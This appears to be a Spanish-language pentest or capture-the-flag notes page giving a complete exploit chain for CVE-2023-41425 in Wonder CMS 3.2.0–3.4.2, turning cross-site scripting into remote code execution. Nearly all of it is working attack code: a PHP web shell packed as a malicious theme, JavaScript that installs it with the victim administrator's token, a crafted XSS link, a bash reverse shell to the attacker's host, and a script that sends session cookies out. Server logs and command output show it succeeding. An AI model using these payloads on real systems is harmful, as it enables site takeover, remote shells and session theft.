############## Wonder CMS RCE ##############

| | Descripción : XSS a RCE, Wonder CMS 3.2.0 <= 3.4.2 | Fuentes | - https://github.com/prodigiousMind/CVE-2023-41425/tree/main | - https://nvd.nist.gov/vuln/detail/CVE-2023-41425 |

RCE

.. code-block:: bash

Setting vars

$RHOST="http://host.com:80"
$LHOST="10.10.14.152"
$LPORT="4444"
$LPORTWEB="80"

Moving to a tmp dir

cd $(mktemp -d)

Creating our evil theme zip file

mkdir -p evil
cat <<'EOF'>evil/evil.php
<?=`$_GET[0]`;?>
EOF

zip -r evil.zip evil/

JS payload that will install the new theme

cat <<EOF>xssrce.js
var xhr=new XMLHttpRequest();
xhr.open("GET", "${RHOST}/?installModule=http://${LHOST}:${LPORTWEB}/evil.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true);
xhr.send();
EOF

Print XSS url

echo -e "\n# XSS RCE"
cat <<EOF
${RHOST}/index.php?page=loginURL?"></form><script+src="http://${LHOST}:${LPORTWEB}/xssrce.js"></script><form+action="
EOF

Starting a new web server to serve payloads

sudo python3 -m http.server $LPORTWEB &

| Después de enviar el XSS RCE al administrador, obtenemos las siguientes llamadas HTTP

.. code-block::

10.129.252.14 - - [11/Aug/2024 18:42:26] "GET /xssrce.js HTTP/1.1" 304 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:32] "GET /evil.zip HTTP/1.1" 200 -

|

| Ahora podemos usar el payload PHP

.. code-block:: bash

id

CMD="id"

curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell, (don't forget to listen first: nc -nvlp 4444)

CMD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'"

curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"

Cookies

| También puedes robar cookies (y por lo tanto la sesión PHP)

.. code-block:: bash

cat <xsscookie.js var xhr=new XMLHttpRequest(); xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true); xhr.send(); EOF

echo -e "\n# XSS Retrieve PHP session" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xsscookie.js"><form+action=" EOF
